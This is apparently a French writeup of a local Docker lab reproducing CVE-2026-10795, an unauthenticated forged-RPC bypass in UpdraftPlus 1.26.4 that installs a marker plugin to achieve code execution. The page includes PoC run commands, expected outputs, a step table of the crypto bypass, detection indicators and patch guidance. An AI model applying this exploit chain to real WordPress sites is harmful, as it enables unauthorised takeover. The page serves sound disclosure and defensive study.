ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### Cible corrigée

Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Signal patché attendu :```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## Commandes de vérification manuelle

Vérifier la santé du service :```bash
docker compose ps

Inspectez les métadonnées des services vulnérables :```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
Inspectez les métadonnées du service corrigé :```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Vérifier l'état du plugin à l'exécution :```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
Lancer la validation ping uniquement :```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Preuve de l'ID de run :```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Vérifiez le point de terminaison du marqueur directement après avoir exécuté le PoC :```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Attendu :```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
Vérifiez les plugins installés dans le conteneur vulnérable :```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Vérifiez les plugins installés dans le conteneur corrigé :```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
Le service vulnérable doit contenir le plugin marqueur après l'exécution du PoC. Le service corrigé ne doit pas.

## Impact

Ce laboratoire démontre qu'un attaquant non authentifié peut falsifier un message RPC UpdraftCentral qui atteint la répartition de commandes privilégiées dans UpdraftPlus 1.26.4 lorsqu'un état de clé UpdraftCentral approprié existe.

L'impact démontré est de type RCE, car la commande RPC falsifiée abuse des fonctionnalités légitimes de gestion des plugins :```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

La preuve locale montre l'exécution en tant qu'utilisateur du serveur web :```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
La catégorie de vulnérabilité reste le contournement d'authentification. L'exécution de code résulte d'un impact en chaîne via l'installation privilégiée de plugins WordPress.

## Détection et surveillance

Les indicateurs potentiels incluent des requêtes POST non authentifiées vers la page d'accueil WordPress contenant des champs RPC UpdraftCentral :```text
format
key_name
udrpc_message
signature

Caractéristiques suspectes :```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
Indicateurs de laboratoire local:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Idées de surveillance en production :

  • Examinez les journaux d'accès web pour les requêtes POST contenant udrpc_message.
  • Alertez sur les requêtes RPC format=1 provenant de sources non fiables.
  • Examinez les journaux UpdraftPlus et UpdraftCentral si disponibles.
  • Surveillez les événements d'installation ou d'activation de plugins inattendus.
  • Surveillez les modifications du système de fichiers sous wp-content/plugins.
  • Examinez les utilisateurs administrateurs et les intégrations de gestion à distance.
  • Vérifiez si UpdraftPlus est plus ancien que la version corrigée.
  • Supprimez les clés de contrôle à distance UpdraftCentral obsolètes ou inutilisées.

Notes d'atténuation et de correctif

Mettez à niveau UpdraftPlus vers la version 1.26.5 ou ultérieure.

La version corrigée rejette les clés symétriques déchiffrées invalides avant le déchiffrement symétrique et l'envoi des commandes.

Étapes d'atténuation recommandées :

  • Mettez à niveau UpdraftPlus.
  • Vérifiez si le contrôle à distance UpdraftCentral est activé ou a été configuré.
  • Supprimez les clés UpdraftCentral obsolètes si le contrôle à distance n'est pas nécessaire.
  • Examinez les comptes administrateurs WordPress.
  • Examinez les plugins installés pour détecter des ajouts inattendus.
  • Examinez les journaux d'accès pour les requêtes udrpc_message suspectes.
  • Faites pivoter les identifiants si une compromission est suspectée.
  • Restaurez à partir de sauvegardes connues comme bonnes si une installation non autorisée de plugin est confirmée.
  • Utilisez une règle WAF uniquement comme couche temporaire, et non comme remplacement du correctif.

Le correctif le plus important est d'exécuter une version corrigée d'UpdraftPlus qui rejette les clés symétriques invalides avant le déchiffrement et l'envoi.

Nettoyage

Arrêtez les conteneurs et supprimez les réseaux :```bash docker compose down --remove-orphans

root@kitploit:~
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans

Supprimer l'environnement virtuel Python :```bash rm -rf venv

root@kitploit:~
Supprimez les fichiers de preuves locaux s'ils ont été créés :```bash
rm -rf evidence/

Limites de sécurité

Ce laboratoire est réservé à la recherche en sécurité locale et à la démonstration contrôlée uniquement.

N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.

N'utilisez pas de véritables identifiants, de secrets de production ou de cibles externes dans ce laboratoire.

Le PoC est intentionnellement limité aux services Docker locaux tels que :```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
Le PoC refuse les cibles non locales par défaut.

Le plugin marker n'implémente pas de paramètre générique d'exécution de commandes. Il expose uniquement un endpoint de preuve local codé en dur qui exécute `/usr/bin/id`.

Ce laboratoire n'inclut pas :```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## Références

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Base de données de vulnérabilités Wordfence: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Base de données Patchstack: UpdraftPlus
  https://patchstack.com/database/

* Plugin WordPress.org: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/

* Balises SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Aide-mémoire sur l'authentification
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Guide de test de la sécurité Web
  https://owasp.org/www-project-web-security-testing-guide/
Télécharger l’outil
Comportement du PoCComportement source testéAttendu sur 1.26.4Attendu sur 1.26.5
Envoyer une requête POST avec format=1Le listener accepte le format RPC héritéContinueContinue vers la vérification de déchiffrement corrigée
Omettre la signature valideLa vérification de signature ne s'applique qu'à format >= 2Signature non requiseSignature non requise pour format=1, mais bloquée ensuite
Envoyer un bloc RSA invalideLe déchiffrement RSA renvoie une clé symétrique invalideLa clé invalide atteint setKey()Clé invalide rejetée
Chiffrer un JSON avec une clé nulle et un IV nulModélise le comportement de repli de phpseclib après setKey(false)Déchiffre en un JSON valideNe déchiffre pas
Définir command=pingTeste uniquement le contournement cryptographique et la répartitionPING DISPATCHEDPING NOT DISPATCHED
Définir command=plugin.upload_pluginAppelle la méthode de téléversement de plugin d'UpdraftCentralPlugin ZIP installéCommande non atteinte
Définir activate=trueDéclenche activate_plugin() après l'installationPlugin marqueur actifPlugin marqueur absent
Envoyer une requête vers /wp-json/cve-lab/v1/idVérifie si le code du plugin marqueur est en cours d'exécutionRenvoie uid=33(www-data)Renvoie 404 rest_no_route
ServiceComposantVersion / Rôle
vulnWordPress + UpdraftPlusCible vulnérable : UpdraftPlus 1.26.4
patchedWordPress + UpdraftPlusCible corrigée : UpdraftPlus 1.26.5
vuln_dbMariaDBBase de données pour la cible vulnérable
patched_dbMariaDBBase de données pour la cible corrigée
vuln_setupService de configuration WP-CLIInstalle WordPress, active UpdraftPlus, initialise l'état de clé locale
patched_setupService de configuration WP-CLIInstalle WordPress, active UpdraftPlus, initialise l'état de clé locale